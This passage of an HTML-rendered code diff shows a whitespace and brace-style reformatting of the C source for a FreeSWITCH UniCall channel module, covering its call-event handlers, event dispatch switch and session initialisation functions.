+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_dialednumber\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_dialednumber\n");
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void on_dialing(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx">
</span><del>- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_dialing\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_dialing\n");
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void on_sendmoreinfo(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx">
</span><del>- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_sendmoreinfo\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_sendmoreinfo\n");
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void on_proceeding(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
- //struct channel_map *chanmap;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        //struct channel_map *chanmap;
</ins><span class="cx">
</span><del>- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_proceeding\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_proceeding\n");
</ins><span class="cx">
</span><span class="cx"> #if 0
</span><del>- chanmap = spri->private_info;
</del><ins>+        chanmap = spri->private_info;
</ins><span class="cx">
</span><del>- if ((session = switch_core_session_locate(chanmap->map[e->proceeding.channel])))
- {
- switch_core_session_message_t *msg;
</del><ins>+        if ((session = switch_core_session_locate(chanmap->map[e->proceeding.channel]))) {
+                switch_core_session_message_t *msg;
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG,
- SWITCH_LOG_NOTICE,
- "-- Proceeding on channel s%dc%d\n",
- spri->span,
- e->proceeding.channel);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "-- Proceeding on channel s%dc%d\n", spri->span, e->proceeding.channel);
</ins><span class="cx">
</span><del>- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
</del><ins>+                channel = switch_core_session_get_channel(session);
+                assert(channel != NULL);
</ins><span class="cx">
</span><del>- switch_core_session_pass_indication(session, SWITCH_MESSAGE_INDICATE_PROGRESS);
- switch_channel_mark_pre_answered(channel);
</del><ins>+                switch_core_session_pass_indication(session, SWITCH_MESSAGE_INDICATE_PROGRESS);
+                switch_channel_mark_pre_answered(channel);
</ins><span class="cx">
</span><del>- switch_core_session_rwunlock(session);
- }
- else
- {
- switch_log_printf(SWITCH_CHANNEL_LOG,
- SWITCH_LOG_NOTICE,
- "-- Proceeding on channel s%dc%d but it's not in use?\n",
- spri->span,
- e->proceeding.channel);
- }
</del><ins>+                switch_core_session_rwunlock(session);
+        } else {
+                switch_log_printf(SWITCH_CHANNEL_LOG,
+                                                 SWITCH_LOG_NOTICE, "-- Proceeding on channel s%dc%d but it's not in use?\n", spri->span, e->proceeding.channel);
+        }
</ins><span class="cx"> #endif
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void on_alerting(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
- //struct channel_map *chanmap;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        //struct channel_map *chanmap;
</ins><span class="cx">
</span><del>- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_alerting\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_alerting\n");
</ins><span class="cx">
</span><span class="cx"> #if 0
</span><del>- chanmap = spri->private_info;
</del><ins>+        chanmap = spri->private_info;
</ins><span class="cx">
</span><del>- if ((session = switch_core_session_locate(chanmap->map[e->alerting.channel])))
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "-- Ringing on channel s%dc%d\n", spri->span, e->alerting.channel);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
</del><ins>+        if ((session = switch_core_session_locate(chanmap->map[e->alerting.channel]))) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "-- Ringing on channel s%dc%d\n", spri->span, e->alerting.channel);
+                channel = switch_core_session_get_channel(session);
+                assert(channel != NULL);
</ins><span class="cx">
</span><del>- switch_core_session_pass_indication(session, SWITCH_MESSAGE_INDICATE_RINGING);
- switch_channel_mark_ring_ready(channel);
</del><ins>+                switch_core_session_pass_indication(session, SWITCH_MESSAGE_INDICATE_RINGING);
+                switch_channel_mark_ring_ready(channel);
</ins><span class="cx">
</span><del>- switch_core_session_rwunlock(session);
- }
- else
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "-- Ringing on channel s%dc%d %s but it's not in use?\n", spri->span, e->alerting.channel, chanmap->map[e->alerting.channel]);
- }
</del><ins>+                switch_core_session_rwunlock(session);
+        } else {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "-- Ringing on channel s%dc%d %s but it's not in use?\n", spri->span, e->alerting.channel,
+                                                 chanmap->map[e->alerting.channel]);
+        }
</ins><span class="cx"> #endif
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void on_connected(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx">
</span><del>- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_connected\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_connected\n");
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void on_answered(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx">
</span><del>- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_answered\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_answered\n");
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void on_fardisconnected(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx">
</span><del>- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_fardisconnected\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_fardisconnected\n");
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void on_dropcall(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx">
</span><del>- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_dropcall\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_dropcall\n");
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void on_releasecall(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx">
</span><del>- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_releasecall\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_releasecall\n");
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void on_farblocked(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>- //switch_channel_t *channel;
- //private_t *tech_pvt;
</del><ins>+        //switch_channel_t *channel;
+        //private_t *tech_pvt;
</ins><span class="cx">
</span><del>- //tech_pvt = switch_core_session_get_private(session);
- //assert(tech_pvt != NULL);
- //channel = switch_core_session_get_channel(session);
- //assert(channel != NULL);
</del><ins>+        //tech_pvt = switch_core_session_get_private(session);
+        //assert(tech_pvt != NULL);
+        //channel = switch_core_session_get_channel(session);
+        //assert(channel != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_farblocked\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_farblocked\n");
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void on_farunblocked(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>- //switch_channel_t *channel;
- //private_t *tech_pvt;
</del><ins>+        //switch_channel_t *channel;
+        //private_t *tech_pvt;
</ins><span class="cx">
</span><del>- //tech_pvt = switch_core_session_get_private(session);
- //assert(tech_pvt != NULL);
- //channel = switch_core_session_get_channel(session);
- //assert(channel != NULL);
</del><ins>+        //tech_pvt = switch_core_session_get_private(session);
+        //assert(tech_pvt != NULL);
+        //channel = switch_core_session_get_channel(session);
+        //assert(channel != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_farunblocked\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_farunblocked\n");
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void on_localblocked(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>- //switch_channel_t *channel;
- //private_t *tech_pvt;
</del><ins>+        //switch_channel_t *channel;
+        //private_t *tech_pvt;
</ins><span class="cx">
</span><del>- //tech_pvt = switch_core_session_get_private(session);
- //assert(tech_pvt != NULL);
- //channel = switch_core_session_get_channel(session);
- //assert(channel != NULL);
</del><ins>+        //tech_pvt = switch_core_session_get_private(session);
+        //assert(tech_pvt != NULL);
+        //channel = switch_core_session_get_channel(session);
+        //assert(channel != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_localblocked\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_localblocked\n");
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void on_localunblocked(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>- //switch_channel_t *channel;
- //private_t *tech_pvt;
</del><ins>+        //switch_channel_t *channel;
+        //private_t *tech_pvt;
</ins><span class="cx">
</span><del>- //tech_pvt = switch_core_session_get_private(session);
- //assert(tech_pvt != NULL);
- //channel = switch_core_session_get_channel(session);
- //assert(channel != NULL);
</del><ins>+        //tech_pvt = switch_core_session_get_private(session);
+        //assert(tech_pvt != NULL);
+        //channel = switch_core_session_get_channel(session);
+        //assert(channel != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_localunblocked\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_localunblocked\n");
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void on_alarm(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx">
</span><del>- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_alarm\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_alarm\n");
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void on_resetlinedev(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx">
</span><del>- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_resetlinedev\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_resetlinedev\n");
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void on_l2frame(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx">
</span><del>- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_l2frame\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_l2frame\n");
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void on_l2bufferfull(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx">
</span><del>- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_l2bufferfull\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_l2bufferfull\n");
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void on_l2nobuffer(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx">
</span><del>- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_l2nobuffer\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_l2nobuffer\n");
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void on_usrinfo(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx">
</span><del>- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_usrinfo\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_usrinfo\n");
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void handle_uc_event(uc_t *uc, void *user_data, uc_event_t *e)
</span><span class="cx"> {
</span><del>- switch_core_session_t *session;
</del><ins>+        switch_core_session_t *session;
</ins><span class="cx">
</span><del>- session = (switch_core_session_t *) user_data;
- assert(session != NULL);
</del><ins>+        session = (switch_core_session_t *) user_data;
+        assert(session != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "event %s\n", uc_event_to_str(e->e));
- switch (e->e)
- {
- case UC_EVENT_DEVICEFAIL:
- on_devicefail(uc, session, e);
- break;
- case UC_EVENT_PROTOCOLFAIL:
- on_protocolfail(uc, session, e);
- break;
- case UC_EVENT_SIGCHANSTATUS:
- on_sigchanstatus(uc, session, e);
- break;
- case UC_EVENT_DETECTED:
- on_detected(uc, session, e);
- break;
- case UC_EVENT_OFFERED:
- on_offered(uc, session, e);
- break;
- case UC_EVENT_REQUESTMOREINFO:
- on_requestmoreinfo(uc, session, e);
- break;
- case UC_EVENT_ACCEPTED:
- on_accepted(uc, session, e);
- break;
- case UC_EVENT_CALLINFO:
- on_callinfo(uc, session, e);
- break;
- case UC_EVENT_FACILITY:
- on_facility(uc, session, e);
- break;
- case UC_EVENT_DIALEDNUMBER:
- on_dialednumber(uc, session, e);
- break;
- case UC_EVENT_DIALING:
- on_dialing(uc, session, e);
- break;
- case UC_EVENT_SENDMOREINFO:
- on_sendmoreinfo(uc, session, e);
- break;
- case UC_EVENT_PROCEEDING:
- on_proceeding(uc, session, e);
- break;
- case UC_EVENT_ALERTING:
- on_alerting(uc, session, e);
- break;
- case UC_EVENT_CONNECTED:
- on_connected(uc, session, e);
- break;
- case UC_EVENT_ANSWERED:
- on_answered(uc, session, e);
- break;
- case UC_EVENT_FARDISCONNECTED:
- on_fardisconnected(uc, session, e);
- break;
- case UC_EVENT_DROPCALL:
- on_dropcall(uc, session, e);
- break;
- case UC_EVENT_RELEASECALL:
- on_releasecall(uc, session, e);
- break;
- case UC_EVENT_FARBLOCKED:
- on_farblocked(uc, session, e);
- break;
- case UC_EVENT_FARUNBLOCKED:
- on_farunblocked(uc, session, e);
- break;
- case UC_EVENT_LOCALBLOCKED:
- on_localblocked(uc, session, e);
- break;
- case UC_EVENT_LOCALUNBLOCKED:
- on_localunblocked(uc, session, e);
- break;
- case UC_EVENT_ALARM:
- on_alarm(uc, session, e);
- break;
- case UC_EVENT_RESETLINEDEV:
- on_resetlinedev(uc, session, e);
- break;
- case UC_EVENT_L2FRAME:
- on_l2frame(uc, session, e);
- break;
- case UC_EVENT_L2BUFFERFULL:
- on_l2bufferfull(uc, session, e);
- break;
- case UC_EVENT_L2NOBUFFER:
- on_l2nobuffer(uc, session, e);
- break;
- case UC_EVENT_USRINFO:
- on_usrinfo(uc, session, e);
- break;
- default:
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unknown unicall event %d\n", e->e);
- break;
- }
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "event %s\n", uc_event_to_str(e->e));
+        switch (e->e) {
+        case UC_EVENT_DEVICEFAIL:
+                on_devicefail(uc, session, e);
+                break;
+        case UC_EVENT_PROTOCOLFAIL:
+                on_protocolfail(uc, session, e);
+                break;
+        case UC_EVENT_SIGCHANSTATUS:
+                on_sigchanstatus(uc, session, e);
+                break;
+        case UC_EVENT_DETECTED:
+                on_detected(uc, session, e);
+                break;
+        case UC_EVENT_OFFERED:
+                on_offered(uc, session, e);
+                break;
+        case UC_EVENT_REQUESTMOREINFO:
+                on_requestmoreinfo(uc, session, e);
+                break;
+        case UC_EVENT_ACCEPTED:
+                on_accepted(uc, session, e);
+                break;
+        case UC_EVENT_CALLINFO:
+                on_callinfo(uc, session, e);
+                break;
+        case UC_EVENT_FACILITY:
+                on_facility(uc, session, e);
+                break;
+        case UC_EVENT_DIALEDNUMBER:
+                on_dialednumber(uc, session, e);
+                break;
+        case UC_EVENT_DIALING:
+                on_dialing(uc, session, e);
+                break;
+        case UC_EVENT_SENDMOREINFO:
+                on_sendmoreinfo(uc, session, e);
+                break;
+        case UC_EVENT_PROCEEDING:
+                on_proceeding(uc, session, e);
+                break;
+        case UC_EVENT_ALERTING:
+                on_alerting(uc, session, e);
+                break;
+        case UC_EVENT_CONNECTED:
+                on_connected(uc, session, e);
+                break;
+        case UC_EVENT_ANSWERED:
+                on_answered(uc, session, e);
+                break;
+        case UC_EVENT_FARDISCONNECTED:
+                on_fardisconnected(uc, session, e);
+                break;
+        case UC_EVENT_DROPCALL:
+                on_dropcall(uc, session, e);
+                break;
+        case UC_EVENT_RELEASECALL:
+                on_releasecall(uc, session, e);
+                break;
+        case UC_EVENT_FARBLOCKED:
+                on_farblocked(uc, session, e);
+                break;
+        case UC_EVENT_FARUNBLOCKED:
+                on_farunblocked(uc, session, e);
+                break;
+        case UC_EVENT_LOCALBLOCKED:
+                on_localblocked(uc, session, e);
+                break;
+        case UC_EVENT_LOCALUNBLOCKED:
+                on_localunblocked(uc, session, e);
+                break;
+        case UC_EVENT_ALARM:
+                on_alarm(uc, session, e);
+                break;
+        case UC_EVENT_RESETLINEDEV:
+                on_resetlinedev(uc, session, e);
+                break;
+        case UC_EVENT_L2FRAME:
+                on_l2frame(uc, session, e);
+                break;
+        case UC_EVENT_L2BUFFERFULL:
+                on_l2bufferfull(uc, session, e);
+                break;
+        case UC_EVENT_L2NOBUFFER:
+                on_l2nobuffer(uc, session, e);
+                break;
+        case UC_EVENT_USRINFO:
+                on_usrinfo(uc, session, e);
+                break;
+        default:
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unknown unicall event %d\n", e->e);
+                break;
+        }
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void tech_init(private_t *tech_pvt, switch_core_session_t *session)
</span><span class="cx"> {
</span><del>- tech_pvt->read_frame.data = tech_pvt->databuf;
- tech_pvt->read_frame.buflen = sizeof(tech_pvt->databuf);
- switch_mutex_init(&tech_pvt->mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
- switch_mutex_init(&tech_pvt->flag_mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
- switch_core_session_set_private(session, tech_pvt);
- tech_pvt->session = session;
</del><ins>+        tech_pvt->read_frame.data = tech_pvt->databuf;
+        tech_pvt->read_frame.buflen = sizeof(tech_pvt->databuf);
+        switch_mutex_init(&tech_pvt->mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
+        switch_mutex_init(&tech_pvt->flag_mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
+        switch_core_session_set_private(session, tech_pvt);
+        tech_pvt->session = session;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*
</span><span class="lines">@@ -873,74 +838,74 @@
</span><span class="cx"> */
</span><span class="cx"> static switch_status_t unicall_on_init(switch_core_session_t *session)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx">
</span><del>- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx">
</span><del>-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_on_init(%p)\n", (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_on_init(%p)\n", (void *) session);
</ins><span class="cx">
</span><del>- switch_set_flag_locked(tech_pvt, TFLAG_IO);
</del><ins>+        switch_set_flag_locked(tech_pvt, TFLAG_IO);
</ins><span class="cx">
</span><del>- /* Move channel's state machine to ROUTING. This means the call is trying
- to get from the initial state to the point where a destination has been
- identified. If the channel is simply left in the initial state, nothing
- will happen. */
- switch_channel_set_state(channel, CS_ROUTING);
- switch_mutex_lock(globals.mutex);
- globals.calls++;
- switch_mutex_unlock(globals.mutex);
</del><ins>+        /* Move channel's state machine to ROUTING. This means the call is trying
+         to get from the initial state to the point where a destination has been
+         identified. If the channel is simply left in the initial state, nothing
+         will happen. */
+        switch_channel_set_state(channel, CS_ROUTING);
+        switch_mutex_lock(globals.mutex);
+        globals.calls++;
+        switch_mutex_unlock(globals.mutex);
</ins><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t unicall_on_routing(switch_core_session_t *session)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx">
</span><del>- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
